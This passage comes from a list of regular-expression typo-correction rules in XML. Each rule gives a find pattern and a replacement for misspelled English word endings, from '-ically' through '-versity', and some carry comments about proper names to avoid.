<Typo word="-ically" find="\b([aA]utomat|[bB]as|[cC](?:o[mn]|rit)|[eE]lectr|[iI]ron|[mM](?:ag|us)|[pP](?:olit|ract)|[sS]pecif)i(?:al|ca?)ly\b" replace="$1ically"/>
<Typo word="-ictive" find="(?=icitve)(?<=\b(?:[A-Z][a-z]*|[a-z]+))icitve(ly|s?)\b" replace="ictive$1"/><!--cheapened expensive beginning-->
<Typo word="-iddle" find="\b([fmrFMR]|[gG]r)idle([ds])?\b" replace="$1iddle$2"/>
<Typo word="-idential" find="\b([cC]onf|[pP]r(?:es|ov)|r(?:es|ov)|Res)identai?l(ity|ly)?\b" replace="$1idential$2"/>
<Typo word="-iduous" find="\b([aA]ss|[dD]ec)idi?ous(ly)?\b" replace="$1iduous$2"/>
<Typo word="-ield" find="\b([fyY]|[uU]n[fwy]|[wW](?:indsh)?)eild(able|e(?:d|rs?)|ing|[sy]?)\b" replace="$1ield$2"/>
<Typo word="-ification" find="\b([dD](?:e|is)|[mM]is|[rR]e)?([cC](?:ert|lass)|[eE]lectr|[fF]ort|[iI]dent|[mM](?:agn|od)|[nN]ot|[pP](?:erson|ur)|[qQ]ual|[sS]pec|[uU]n|[vV]er)(?:fici?ati?|if(?:cati?|ic(?:at|iati?)))on(s)?\b" replace="$1$2ification$3"/>
<Typo word="-ify" find="\b([dD]is(?:horr|ident|qual|rat|spec|terr|ver)|[hH]orr|[iI]dent|[mM]is(?:horr|ident|qual|rat|spec|terr|ver)|[qQ]ual|[rR]at|[sS]pec|[tT]err|[vV]er)(?:af|fi|ifi|of)y(ing)?\b" replace="$1ify$2"/>
<Typo word="-ight" find="\b([bB]r|[fF]l?|[kK]n|[nrNR]|[sS]l?|[wW]r)igth?(e[dr]|hoods?|ing|l(?:ife|y)|[sy]?)\b(?<!Sligting)" replace="$1ight$2"/>
<Typo word="-ilities" find="(?=il)(?<=\b(?:[A-Z][a-z]*|[a-z]+))ill+ities\b" replace="ilities"/><!--cheapened expensive beginning-->
<Typo word="-ily" find="\b([aA]ngr|[eE]as|[hH]eav|[lL]uck|[mM]ight|[pP]rimar|[sS](?:atisfactor|tead)|[uU]n(?:[aA]ngr|[eE]as|[hH]eav|[lL]uck|[mM]ight|[pP]rimar|[sS](?:atisfactor|tead)))(?:al?|i(?:al?|l))?ly\b" replace="$1ily"/>
<Typo word="-iness" find="(?<=\b(?:[cC]raz|[dgDG]ust|[fF]u(?:nn|st)|[hH](?:a(?:st|z)|ill)|[lL](?:az|o(?:nel|rdl|vel|wl)|ust)|[mM]ust|[nN]ast|[rR]ust|[sS](?:ill|unn)|[tT](?:ast|rustworth)|[uU]ntrustworth|[wW]orth))yness\b" replace="iness"/><!--cheapened expensive beginning-->
<Typo word="-ing" find="(?<=\b(?:[bB]ak|[cC](?:a[kr]|ontinu)|[dD](?:a(?:nc|r)|i(?:v|s(?:bak|c(?:a[kr]|ontinu)|d(?:a(?:nc|r)|iv|riv)|f(?:ak|eatur|orc)|giv|hav|l(?:anc|iv)|mak|notic|ra[kv]|s(?:av|h(?:a[rtv]|in)|ka[rtv])|tak|us|w(?:a[kv]|hin)))|riv)|[eE]n(?:bak|c(?:a[kr]|ontinu)|d(?:a(?:nc|r)|iv|riv)|f(?:ak|eatur|orc)|giv|hav|l(?:anc|iv)|mak|notic|ra[kv]|s(?:av|h(?:a[rtv]|in)|ka[rtv])|tak|us|w(?:a[kv]|hin))|[fF](?:ak|eatur|orc)|[gG]iv|[hH]av|[lL](?:anc|iv)|[mM](?:ak|is(?:bak|c(?:a[kr]|ontinu)|d(?:a(?:nc|r)|iv|riv)|f(?:ak|eatur|orc)|giv|hav|l(?:anc|iv)|mak|notic|ra[kv]|s(?:av|h(?:a[rtv]|in)|ka[rtv])|tak|us|w(?:a[kv]|hin)))|[nN]otic|[rR]a[kv]|[sS](?:av|h(?:a[rtv]|in)|ka[rtv])|[tT]ak|[uU]s|[wW](?:a[kv]|hin)))eing(s)?\b" replace="ing$1"/><!--cheapened expensive beginning-->
<Typo word="-ining" find="(?=inig)(?<=\b(?:[A-Z][a-z]*|[a-z]+))inig(ly|s?)\b(?<!\b(?:Bre|He|K(?:le|urt)|Lap|Me|Nar(?:ir)?|Re|Stee|[tT]|We)inig\b)" replace="ining$1"/><!--avoid (Br/Kl/M/H/R/St/W)einig, (Nar/Narir/Kurt/Lap/T)inig. 'ing' typos can be false positive i.e 'paintinig'--><!--cheapened expensive beginning-->
<Typo word="-ionship" find="\b([cC](?:hamp|ompan)|[rR]elat)(?:ionsih?|oinshi)p(s)?\b" replace="$1ionship$2"/>
<Typo word="-ish" find="(?=i?sih)(?<=\b(?:[A-Za-z]+?))i?sih(e(?:[ds]|rs?)|ing(?:ly)?|ly)?\b(?<!asih|A(?:isih|riningsih|sih)|Bersih|esih|Finarsih|ingsih|K(?:asih|osasih)|[rs]sih|M(?:a(?:drasih|ss?ih)|essih|irajoucsih)|N(?:esih|ingsih|urnaningsih)|Su(?:kaesih|mbangsih)|T(?:laksih|sih)|Y(?:ingtsih|ulianingsih))" replace="ish$1"/><!--avoid proper names with -asih -esih -rsih -ssih, e.g., Bersih, Finarsih, Kasih, Kosasih, Madrasih, Masih, Massih, Messih, Nesih, Sukaesih, Nurnaningsih, Ningsih, Ariningsih, Yulianingsih, Asih, Tsih, Aisih, Tlaksih, Mirajoucsih, Sumbangsih, Yingtsih--><!--cheapened expensive beginning-->
<Typo word="-ism" find="\b([aA]narch|[cC]ritic|[oO]rgan|[pP]lagiar|[tT]our)s?i(?:st)?m(s)?\b" replace="$1ism$2"/>
<Typo word="-istry" find="([aA]rt|[cC]hem|[dD]ent|[mM]in|[rR]eg)ist(ies|y)\b" replace="$1istr$2"/>
<Typo word="-itch_" find="\b([dhpwDHPW]|[sS][tw]|[tT]w)ict?h(e[ds]|ing|(?<![wW]ich)ers?)\b(?<!Picher|Sticher)" replace="$1itch$2"/><!--avoid "swich", "wicher", "Picher", "Sticher"-->
<Typo word="-itely" find="(?=itly)(?<=\b(?:[A-Z][a-z]*|[a-z]+)[lnst])(?<![qQ]ual)itly\b" replace="itely"/><!--cheapened expensive beginning-->
<Typo word="-ition" find="\b([aA](?:dd|mb|ud)|[cC]o(?:al|nd)|[dD]emol|[eE](?:d|xhib)|[iI](?:gn|n(?:hib|tu)?)|[pP](?:os|rohib)|[tT](?:rad|u))it(?:ioi|oi?)n(al(?:ly)?|is[mt]s?|s?)\b" replace="$1ition$2"/>
<Typo word="-itious" find="\b([aA]mb|[cC]ement|[fF]ict|[nN]utr|[sS]ed)icious([a-z]*)\b" replace="$1itious$2"/>
<Typo word="-itous" find="\b([fF]ort|[gG]rat|[uU]biq)ui?tious(ly|ness)?\b" replace="$1uitous$2"/>
<Typo word="-ively" find="(?=ivly)(?<=\b(?:[A-Z][a-z]*|[a-z]+))ivly\b" replace="ively"/><!--cheapened expensive beginning-->
<Typo word="-ives" find="\b([aA](?:fterl|le[wW])|[eE]x-[wW]|[hH]ouse[wW]|[lwLW])ifes\b(?<!\b(?:[hH]alf-[lL]|[lL]ow-[lL]|Readers W|[sS]till(?:-[lL]|\s+[lL]))ifes)" replace="$1ives"/><!--avoid "half-lifes", "low-lifes", "still lifes", "Readers Wifes" (also knifes and midwifes are valid as verbs)-->
</source>
=====J-K=====
<source lang="xml">
<Typo word="-junction" find="\b([cC]on|[dD]is|[iI]n|[sS]ub)ju[cn]n?ti(ons?|v(?:es?|itis))\b" replace="$1juncti$2"/>
<Typo word="-kel" find="\b([sS](?:he|nor)|[yY]o)kle(ing|s?)\b" replace="$1kel$2"/>
<Typo word="-keted" find="\b([bB](?:lan|rac)|[dD]oc|[jJ]ac|[mM]ar|[pP][ao]c|[rsRS]oc)kett(ed|ing|s)\b" replace="$1ket$2"/>
<Typo word="-king" find="\b([bB][ai]|[sS]tri|[tmwcfrTMCFRW]a|[vhlVHL]i)keing\b" replace="$1king"/>
<Typo word="-(a/e/i/o/u)(c/n/o/r/s)king" find="(?=kign)(?<=\b(?:[A-Z][a-z]*|[a-z]+)[aeiou][cnors])kign\b" replace="king"/><!--cheapened expensive beginning-->
</source>
=====L=====
<source lang="xml">
<Typo word="-licate" find="\b([eE]x|[iI]m)plict(e[ds]?|i(?:ng|ons?))\b" replace="$1plicat$2"/>
<Typo word="-licit (verb)" find="\b([eE]|[sS]o)lic(?:id|t)(ations?|ed|ing|ors?|s?)\b" replace="$1licit$2"/>
<Typo word="-licit (adjective)" find="\b([eE]xp|[iI](?:l|mp|nexp)|[uU]nexp)lic(?:id|t)(ly)?\b" replace="$1licit$2"/>
<Typo word="-lingual" find="\b([bB]|[mM]ult|[tT]r|[uU]n)illingual([a-z]*)\b" replace="$1ilingual$2"/>
<Typo word="-lithic" find="\b([eE]o|[mM](?:ega|ono)|[nN]eo|[pP]ala?eo)litic\b" replace="$1lithic"/>
<Typo word="-lled" find="\b([iI]nsta|[mfbckwMFBCKW][ai])leld\b" replace="$1lled"/>
<Typo word="-logue" find="\b([aA]na|[cC]ata|[dD]ia|[eE](?:c|pi)|[iI]de[ao]|[mM]ono|[pP]ro)lou?ge([ds]?|rs?)\b(?<![cC]ataloge(?:[ds]|rs?))(?<![eE]piloges?)" replace="$1logue$2"/><!--avoid cataloged, cataloges, cataloger, epiloge(s)-->
<Typo word="-lty" find="\b([cC]rue|[dD]ifficu|[fF]ac?u|[gG]ui|[nN]ove|[sS](?:pecia|ubt[ei]))tl(i(?:e(?:r|st?)|ness)|y)\b" replace="$1lt$2"/><!--see also "-alty"-->
<Typo word="-lytic" find="\b([aA](?:na|utocata)|[cC]ata|[eE]lectro|[pP]sychoana)litic(al(?:ly)?|s?)\b" replace="$1lytic$2"/>
</source>
=====M=====
<source lang="xml">
<Typo word="-men's" find="\b([cC]hair|[fF]ore|[gG]entle|[wW]o)men(?:s[´ˈ׳᾿‘’′Ꞌꞌ`']s?[´ˈ׳᾿‘’′Ꞌꞌ`']?|;?s[´ˈ׳᾿‘’′Ꞌꞌ`']?)\b[´ˈ׳᾿‘’′Ꞌꞌ`]?" replace="$1men's"/>
<Typo word="-ment" find="((?:[aA](?:gree|r(?:ma|range))|[dD]ocu|[pP]ay)|[aA](?:mend|rgu)|[eE](?:nviron|xperi)|[iI]mprove|[sS](?:eg|tate))m(?:an|e(?:mt|tn)|n(?:et)?)(a[lr][a-z]*|ed|s?)\b(?<!Segman)" replace="$1ment$2"/><!--avoid surname Segman--><!--cheapened expensive beginning-->
<Typo word="-mentaries" find="\b([cC]om|[dD]ocu)mentare?ys\b" replace="$1mentaries"/>
<Typo word="-mentary" find="(?<=\b(?:[aA]li|[cC]om(?:pl[ei])?|[dD]ocu|[eE]le|[fF]rag|[mM]o|[pP]arlia|[rR]udi|[sS](?:edi|upple)))men(?:atr|t(?:a|er|r))(i(?:ans?|es|ly)|y)\b" replace="mentar$1"/><!--cheapened expensive beginning-->
<Typo word="-mina(nt/te)" find="\b([cC]onta|[dD](?:eter|o)|[gG]e|[lL]u|[nN]o|[pP]redo|[rR]u|[sS]e)min(?:e|ia)(n(?:ces?|t(?:ly)?)|t(?:e[ds]?|i(?:ng|ons?)|ors?))\b" replace="$1mina$2"/>
<Typo word="-minent" find="\b([eE]|[iI]m|[pP]r(?:ee|o))m(?:ina|mine)n(c(?:es?|y)|t(?:ly)?)\b" replace="$1minen$2"/>
<Typo word="-missible" find="\b([aA]d|[pP]er|[tT]rans)mis+ab(ility|le)\b" replace="$1missib$2"/>
<Typo word="-mitted" find="(?<=\b(?:[aA]d|[cC]om|[eoEO]|[pP]er|[rR]e(?:[aA]d|[cC]om|[sS]ub|[tT]rans)?|[sS]ub|[tT]rans))mit(ed(?:ly)?|ing)\b" replace="mitt$1"/><!--cheapened expensive beginning-->
<Typo word="-mity" find="\b([cC]ala|[eD]efor|[iI]nfir|[pP]roxi)mat(ies|y)\b" replace="$1mit$2"/>
</source>
=====N=====
<source lang="xml">
<Typo word="-nace" find="\b([fF]ur|[mM]e)nanc(e[ds]?|ing)\b" replace="$1nac$2"/>
<Typo word="-nally" find="(?=(?:anlly|nalyl))(?<=\b(?:[A-Z][a-z]*|[a-z]+)[a-mo-z])(?:anlly|nalyl)\b" replace="nally"/><!--avoid incorrect to incorrect change on -nanlly; cheapened expensive beginning-->
<Typo word="-nance" find="\b([iI]ndig|[mM]a(?:inte|lig)|[pP](?:e|oig|reg)|[rR]e(?:pug|so)|[sS]usti)nen(c(?:es?|ies?|y)|t[a-z]*)\b" replace="$1nan$2"/><!--see also "-mina(nt/te)"-->
<Typo word="-nf(i/o)rm" find="\b([cC]o|[dD]isi|[iI](?:nco)?|[mM]isi|[rR]eco|[uU]nco)mf([io])rm(a(?:ti(?:ons?|ve(?:ly)?)|bl[ey]|l(?:ity)?)|ed|ing|s?)\b" replace="$1nf$2rm$3"/>
<Typo word="-nment" find="\b([aA](?:lig|ssig)|[eE]n(?:tertai|viro)|[gG]over)(?:me|nem)nt(al[a-z]*|s?)\b" replace="$1nment$2"/><!--see also "-ment"-->
<Typo word="-nomial" find="\b([mM]o|[pP]oly|[tT]ri)nominal(s)?\b" replace="$1nomial$2"/><!--avoid binominal-->
<Typo word="-nounce" find="\b([aA]n|[dD]e|[mM]ispro|[pP]ro|[rR]e)(?:n(?:ou|uo?n)|oun)cn?(e[a-z]*|ings?)\b" replace="$1nounc$2"/>
</source>
=====O=====
<source lang="xml">
<Typo word="-oid" find="\b([aA](?:n[de]r|v)|[cC]ub|[dD]ev|[hH]uman|[oO]v|[pP]aran|[sS]ter|[tT](?:a(?:bl|c)|or|yph))iod(a(?:l|nce)|ed|ing|s?)\b" replace="$1oid$2"/>
<Typo word="-ology" find="(?=ol)(?<=\b(?:[A-Z][a-z]*|[a-z]+))ol(?:[ai]?|ol)g(y(?<![vV]olgy\b)|i(?:c[a-z]*|es|sts?))\b" replace="olog$1"/><!--cheapened expensive beginning-->
<Typo word="-ong" find="\b([aA][lm]|[glstGLST]|[wW]r)omg(s)?\b" replace="$1ong$2"/>
<Typo word="-onym" find="\b([aA](?:cr|n)|[eE]p|[hH]om|[pP]seud|[sS]yn)(?:on(?:[aio]m|ym?n)|yn[oy]m)(ity|ous(?:ly)?|[sy]?)\b" replace="$1onym$2"/>
<Typo word="-ormally" find="\b([aA]bn|[fnFN]|[iI]nf)ormaly\b" replace="$1ormally"/>
<Typo word="-orous" find="\b([aA]m|[pP]|[rR](?:anc|ig)|[vV]ig)o(?:ro|urou?)s(ly|ness|\b(?<!Amoros|Poros))\b" replace="$1orous$2"/><!--allowing humourous per talk page, see also "-vorous"; avoid surname Amoros-->
<Typo word="-osion" find="\b([cC]orr|[eE](?:r|xpl)|[iI]mpl)otion(s)?\b" replace="$1osion$2"/>
<Typo word="-otten" find="\b([bB]eg|[fF]org|[gr]|[mM]isg)ot(?:tt)?en(e(?:r|st)|stones?)?\b" replace="$1otten$2"/>
<Typo word="-oughly" find="\b([rR]|[tT](?:hor)?)ougly\b" replace="$1oughly"/>
<Typo word="-ought" find="\b([bB]r?|[fsS]|[tT]h|[wW]r)(?:aught|ougth)(s)?\b" replace="$1ought$2"/><!--avoid surname Faught-->
<Typo word="-ound-" find="([bcfghmprswzCDFGKMPRSTVWYZ])uond([a-z]*)" replace="$1ound$2"/>
</source>
=====P=====
<source lang="xml">
<Typo word="-paration" find="\b([pP]r|[rsRS])ep(?:ar?|er?a|ra)t(i(?:ons?|ve(?:ly|s?))|or(?:ily|[sy]?))\b" replace="$1eparat$2"/>
<Typo word="-partment" find="\b([aA]|[cC]om|[dD]e)pa[rt]ment(al[a-z]*|s?)\b" replace="$1partment$2"/>
<Typo word="-pel" find="\b([cC]om|[dD]is|[eE]x|[iI]m|[pP]ro|[rR]e)pell(s)?\b" replace="$1pel$2"/>
<Typo word="-pelled" find="\b([cC]om|[dD]is|[eE]x|[iI]m|[pP]ro|[rR]e)pel(e(?:d|rs?)|ing|ors?)\b" replace="$1pell$2"/>
<Typo word="-pensable" find="\b([cC]om|[dD]is|[iI]ndis)pensib(ility|l(?:e(?:ness)?|y))\b" replace="$1pensab$2"/>
<Typo word="-pensation" find="\b([cC]om|[dD]is)pensantion(al|s?)\b" replace="$1pensation$2"/>
<Typo word="-pense" find="\b([dD]is|[eE]x|[iI]n(?:dis|ex|sus)|[sS]us)penc(a(?:bl[ey]|r(?:ies|y)|tions?)|e(?:[ds]?|rs?)|ful|i(?:ng|ve(?:ly|ness)?))\b" replace="$1pens$2"/>
<Typo word="-petiti(on/ve)" find="\b([cC]om|[nN]on(?:com|re)|[rR]e|[uU]n(?:com|re))p(?:atiti|e(?:iti|tit?)|itit|pet[ae]ti)(ons?|ve[a-z]*)\b" replace="$1petiti$2"/>
<Typo word="-phone" find="\b([mM](?:ega|icro|ono)|[sS](?:axo|tereo|ym)|[tT]ele)pon(e[ds]?|i(?:c(?:ally)?|ng)|y)\b" replace="$1phon$2"/>
<Typo word="-ployment" find="\b([dD]e|[eE]m|[rR]ede|[uU]nem)ployement(s)?\b" replace="$1ployment$2"/>
<Typo word="-politan" find="\b([cC]osmo|[mM]etro|[nN]ea)polit(?:ai|ia?)n(ism|s?)\b" replace="$1politan$2"/>
<Typo word="-ponent" find="\b([cC]om|[dD]e|[eE]x|[oO]p|[pP]ro|xx)ponant(s)?\b" replace="$1ponent$2"/>
<Typo word="-press" find="(?<=\b(?:[cC]om|[dD]e(?:com|ex)?|[eE]x|[iI](?:m|n(?:com|ex)?)|[oO]p|[rR]e(?:com|ex)?|[sS]up))pres(e[ds]?|i(?:ng|on[a-z]*|ve(?:ly)?))?\b" replace="press$1"/><!--cheapened expensive beginning-->
<Typo word="-pulation" find="\b([cC]o|[mM]ani|[pP]o|[sS]ti)puati([a-z]+)\b" replace="$1pulati$2"/>
<Typo word="-putable" find="\b([cC]om|[dD]is(?:re)?|[iI]n(?:com|dis)|[iI]m|[rR]e)put(?:e[ai]|i)b(ilit[a-z]+|l[ey])\b" replace="$1putab$2"/>
<Typo word="-putation" find="\b([aA]m|[cC]om|[dD]e|[iI]m|[rR]e)puation([alsy]*)\b" replace="$1putation$2"/>
</source>
=====Q=====
<source lang="xml">
<Typo word="-quarter" find="\b([fF]ore|[hH](?:ead|ind))qu[ar]ter(ed|ing|s?)\b" replace="$1quarter$2"/>
<Typo word="-quisition" find="\b([aA]c|[iI]n|[rR]e)quis(?:itoi?|tio)n(s)?\b" replace="$1quisition$2"/>
</source>
=====R=====
<source lang="xml">
<Typo word="-rance" find="\b([aA](?:ppea|ssu)|[cC]lea|[dD]elive|[eE]n(?:du|t)|[fF][lr]ag|[hH]ind|[iI](?:gno|nsu)|[pP]erseve|[rR]ememb|[sS]eve|[tT](?:empe|ole))e?rea?n([ct][a-gi-z][a-z]*)\b(?<![iI]nsurency\b)" replace="$1ran$2"/><!--avoid Insurgency-->
<Typo word="-rector" find="\b([cC]o(?:di|r)|[dD]i)recte(r[a-z]*)\b" replace="$1recto$2"/>
<Typo word="-rien(ce/t)" find="\b([dD]is(?:expe|nut|o|pru)|[eE]xpe|[iI]n(?:expe|nut|o|pru)|[nN]ut|[oO]|[pP]ru|[rR]e(?:expe|nut|o|pru))r(?:ei|i(?:a|te))n(c(?:e[ds]?|ing)|t[a-z]*)\b" replace="$1rien$2"/>
<Typo word="-rious" find="\b([cC][au]|[dD]eli|[fF]u|[hH]ila|[iI](?:llust|n(?:dust|ju))|[lL](?:abou?|uxu)|[mM]yste|[nN]oto|[pP]reca|[sS]e|[vV](?:a|icto))r(?:i(?:o(?:iu|ui)|uo)|o(?:iu|ui?)|riou)s(ly|ness)?\b(?<!\b[sS]erous\b)" replace="$1rious$2"/>
<Typo word="-roid" find="\b([aA](?:n[de]|ste)|[cC]ent|[fF]ib|[mM]eteo|[sS](?:phe|te)|[tT]hy)riod(al|s?)\b" replace="$1roid$2"/>
</source>
=====S=====
<source lang="xml">
<Typo word="-sage" find="\b([dD]o|[uU])seage(s)?\b" replace="$1sage$2"/>
<Typo word="-scend" find="\b([aA]|[cC]onde|[dD]e|[tT]ran)c?[cs]end(ed|ing|s?)\b" replace="$1scend$2"/>
<Typo word="-scend(a/e)nt" find="\b([aA]|[cC]onde|[dD]e|[tT]ran)c?[cs]end([ae])n[dt](s)?\b" replace="$1scend$2nt$3"/>
<Typo word="-science" find="\b([bB]io|[cC]on|[gG]eo|[nN]e(?:uro)?|[oO]mni|[pP](?:re|seudo))[cs]ien(ces?|t(?:ious(?:ly)?|ly)?|tific(?:ally)?)\b" replace="$1scien$2"/>
<Typo word="-scribe" find="\b([dD]e|[iI]n|[pP]r[eo]|[sS]ub)[sc]ri([bp][a-z]+)\b(?<!Decript)" replace="$1scri$2"/><!--avoid band-->
<Typo word="-scripti(on\ve)" find="\b([cC](?:ircum|on)|[dD]e|[iI]n|[pP]r[eo]|[rR]e|[sS]ub|[tT]ran)scr?ip?(?:iti?|t)(ons?|ve(?:ly)?)\b" replace="$1scripti$2"/>
<Typo word="-sequence" find="(?<=\b(?:[A-Z][a-z]*s|[a-z]+s|[sS]))equesece([ds])?\b" replace="equence$1"/><!--cheapened expensive beginning-->
<Typo word="-sequent" find="\b([cC]on|[iI]ncon|[sS]ub)(?:equ|s(?:e(?:nqu|q)|iqu|qu))en(ces?|t[a-z]*)\b" replace="$1sequen$2"/>
<Typo word="-solutely" find="(?=solutly)(?<=\b(?:[A-Z][a-z]*|[a-z]+))solutly\b" replace="solutely"/><!--cheapened expensive beginning-->
<Typo word="-soning" find="(?=soninig)(?<=\b(?:[A-Z][a-z]*|[a-z]+))soninig\b" replace="soning"/><!--cheapened expensive beginning-->
<Typo word="-source" find="\b([oO]ut|[rR]e)s(?:o[ru]|sour)c(e(?:[ds]?|ful(?:ly|ness)?)|ing)\b(?<![rR]essources?)" replace="$1sourc$2"/><!--avoid the French word '(R/r)essource(s)' used in name i.e. [[Euro Ressources]]-->
<Typo word="-sphere" find="\b([aA]tmo|[bB]logo|[hH]emi|[sS]trato)-?s(?:hpere|p(?:ere|he+r))(s)?\b" replace="$1sphere$2"/>
<Typo word="-stitute" find="\b([cC]on|[dD]econ|[iI]n|[pP]ro|[rR]econ|[sS]ub)s(?:itut|t(?:itu[dr]?|ut(?:[iu]t)?))(e[ds]?|i(?:ng|on[a-z]*))\b" replace="$1stitut$2"/>
<Typo word="-strict" find="\b([cC]on|[rR]e(?:di)?)stict(ed|i(?:ng|ons?|ve)|s?)\b" replace="$1strict$2"/>
<Typo word="-struct" find="\b((?:[dD]e|[mM]is|[rR]e)?[cC]on|(?:[iI]n|[nN]on)?[drDR]e|[iI]n(?:fra)?|[mM][ai]cro|[oO]b|[sS]u(?:b|per))(?:s(?:ruct|t(?:ruc|truct|uct))|truct)(ed|i(?:ng|on(?:is[mt]s?|s?)|vis[mt]s?)|ive(?:ly)?|ors?|s?|ur(?:al(?:ly)?|es?))\b" replace="$1struct$2"/><!--Error 'Instruction(s) => Instructtions' but maybe a hidden control character-->
<Typo word="-surrect" find="\b([iI]n|[rR]e)s(?:sur+e|ur(?:e|r+u|u))ct(ed|i(?:ng|on[a-z]*)|s?)\b" replace="$1surrect$2"/>
</source>
=====T=====
<source lang="xml">
<Typo word="-tally" find="(?=taly)(?<=\b(?:[A-Z][a-z]*|[a-z]+)[b-eghj-z])talyl?\b" replace="tally"/><!--avoid names Naftaly, Nataly; cheapened expensive beginning-->
<Typo word="-teenth" find="\b([eE]igh|[fF](?:if|our)|[nN]ine|[sS](?:even|ix)|[tT]hir)t(?:e[en]|the+n)th?(s)?\b" replace="$1teenth$2"/>
<Typo word="-thèque" find="\b([bB]ibli|[dD]isc)oth?[eéê]que(s)?\b(?<!\b[Dd]iscotheques?)" replace="$1othèque$2"/><!--but not discotheque-->
<Typo word="-thing" find="\b([aA]ny|[eE]very|[nN]o|[sS]ome)t(?:hign|ing)\b(?<![nN]oting)" replace="$1thing"/>
<Typo word="-tience" find="\b([iI][mn](?:pa|quo|sen)|[oO]ut(?:pa|quo|sen)|[pP]a|[qQ]uo|[sS]en)t(?:ei|ia)n(ces?|t[a-z]*)\b" replace="$1tien$2"/>
<Typo word="-tified" find="\b([bB]eau?|[cC]er|[fF]or|[iI]den|[jJ]us|[mM]or|[nN]o|[qQ]uan|[rR](?:a|ec)|[tT]es)ta?fi(abl[ey]|cat(?:es?|ions?)|e[ds])\b" replace="$1tifi$2"/><!--see also "-tifie(d/s)"-->
<Typo word="-tifie(d/s)" find="(?<=\b(?:[bB]eau?|[cC]er|[fF]or|[iI]den|[jJ]us|[mM]or|[nN]o|[qQ]uan|[rR](?:a|e(?:beau?|c(?:er)?|for|iden|jus|mor|no|quan|r(?:a|ec)|tes))|[tT]es|[uU]n(?:beau?|cer|for|iden|jus|mor|no|quan|r(?:a|ec)|tes)))tife([ds])\b" replace="tifie$1"/><!--see also "-tified"; cheapened expensive beginning-->
<Typo word="-tility" find="\b([dD]uc|[fF](?:er|u)|[hH]os|[iI]n(?:duc|f(?:er|u)|hos|mo|u|v(?:ersa|ola))|[mM]o|[uU]|[vV](?:ersa|ola))til?(?:a?|li)t(arian|ies|y)\b" replace="$1tilit$2"/>
<Typo word="-timately" find="\b([iI]n|[uU]l)(?:i(?:mate?le?|t(?:imate?le?|mate?le))|t(?:imate?le|mate?le?))y\b" replace="$1timately"/>
<Typo word="-tinct" find="\b([dD]is|[eE]x|[iI]n(?:dis)?)(?:ctinc|ti(?:c(?:nt)?|n))(i(?:ons?|ve(?:ly)?)|ly|s?)\b(?<!\bDistin)" replace="$1tinct$2"/>
<Typo word="-tion(s)" find="(?=tio)(?<=\b(?:[A-Z][a-z]*|[a-z]+))tio(?:i|(s))n\b" replace="tion$1"/><!--cheapened expensive beginning-->
<Typo word="-tion" find="\b([dD](?:encrypt|omina)|[eE](?:lec|mo|ncrypt)|[nN](?:egotia|omina)|[sS]e(?:c|lec))t(?:iio|oi?)n(al[a-z]*|s?)\b" replace="$1tion$2"/>
<Typo word="-tional(ly)" find="(?=tion)(?<=\b(?:[A-Z][a-z]*|[a-z]+))tion(?:a(ly)|nal(ly)?)\b" replace="tional$1$2"/><!--cheapened expensive beginning-->
<Typo word="-tionary" find="\b([dDP]ic|[eE](?:volu|xpedi)|[iI]nfla|[rR]e(?:ac|volu))tionay\b" replace="$1tionary"/>
<Typo word="-tious" find="\b([aA]mbi|[cC]a[pu]|[fF][ai]cti|[iI]nfec|[nN]utri|[rR]epeti)t(?:i(?:oui|uo)|o(?:iu|ui))s(ly|ness)?\b" replace="$1tious$2"/>
<Typo word="-tivities" find="\b([aA]c|[fF]es|[iI]nsensi|[nN]a|[rR]eac|[sS]ensi)tivit?es\b" replace="$1tivities"/>
<Typo word="-tor" find="\b([aA]nces|[cC]onspira|[eE]di|[iI]nven|[mM]oni|[rR]eac|[tT]ransla)t+er(al[a-z]*|ed|i(?:al[a-z]*|ng)|s?)\b" replace="$1tor$2"/>
<Typo word="-trate" find="\b([cC]oncen|[iI]nfil)tar?t(e[ds]?|i(?:ng|ons?)|ors?)\b" replace="$1trat$2"/>
<Typo word="-(s)trate" find="\b([aA]dmini|[dD]emon|[fF]ru|[iI]llu|[mM]agi|[oO]rche|[rR]emon)star?t(e[ds]?|i(?:ng|ons?|ve(?:ly|s?))|ors?)\b" replace="$1strat$2"/>
<Typo word="-tributor" find="\b([aA]t|[cC]on|[dD]is)tributer(s)?\b" replace="$1tributor$2"/>
<Typo word="-tting" find="\b([bgpBGP][eu]|[cC]u|[fF]orge|[jlvswJLSVW]e)ting\b(?<!Guting|Isla Puting|Tanjung Puting)" replace="$1tting"/><!--avoid Guting, Isla Puting Bato, Tanjung Puting-->
<Typo word="-tude" find="\b([aA][lpt]t|[fF]ort|[gG]rat|[lL](?:at|ong)|[mM](?:agn|ult)|[sS]ol)i(?:dud|tut)(es?|inal(?:ly)?)\b" replace="$1itud$2"/>
<Typo word="-ture" find="\b([cC]ap|[fF]ea|[lL]ec|[pP]ic|[sS]culp|[tT]or)tur(s)?\b" replace="$1ture$2"/><!--avoid surname "Pastur"-->
</source>
=====U-V=====
<source lang="xml">
<Typo word="-ually" find="\b([aA]sex|[cC]as|[eE](?:q|vent)|[fF]act|[gG]rad|[mM](?:an|ut)|[sS]ex|[tT]act|[uU](?:nus|s)|[vV]is)(?:al?|u[al]?)ly\b" replace="$1ually"/><!--avoid Annaly-->
<Typo word="-vel" find="(?<=\b(?:[blBL]e|[dD]ri|[gG](?:a|r[ao])|[hH]o|[mM]ar|[nN][ao]|[rR][ae]|[tT]r[ao]|[sS](?:h(?:o|ri)|[nw]i)))vle(s)?\b" replace="vel$2"/><!--cheapened expensive beginning-->
<Typo word="-vele(d/r)" find="\b([blLB]e|[dD]ri|[gG]r[ao]|[mM]ar|[rR]a|[sS](?:h(?:o|ri)|[nw]i)|[tT]r[ao])va?le(d|rs?)\b" replace="$1vele$2"/>
<Typo word="-veling" find="\b([bB]e|[dD]ri|[gG]r[ao]|[lL]e|[mM]ar|[rR][ae]|[sS](?:h(?:o|ri)|[nw]i)|[tT]r[ao])vle?ing\b" replace="$1veling"/>
<Typo word="-vement" find="(?=vment)(?<=\b(?:[A-Z][a-z]*|[a-z]+))vment(al|ed|ing|s?)\b" replace="vement$1"/><!--cheapened expensive beginning-->
<Typo word="-venge" find="\b([aA]|[rR]e|[sS]ca)vang(e[dr]?s?|ing)\b" replace="$1veng$2"/>
<Typo word="-versary" find="\b([aA](?:d|nni))v(?:e(?:rse|sa)|resa)r(i(?:al|es)|y)\b" replace="$1versar$2"/>
<Typo word="-versity" find="\b([aA]d|[dD]i|[uU]ni)veristy\b" replace="$1versity"/>
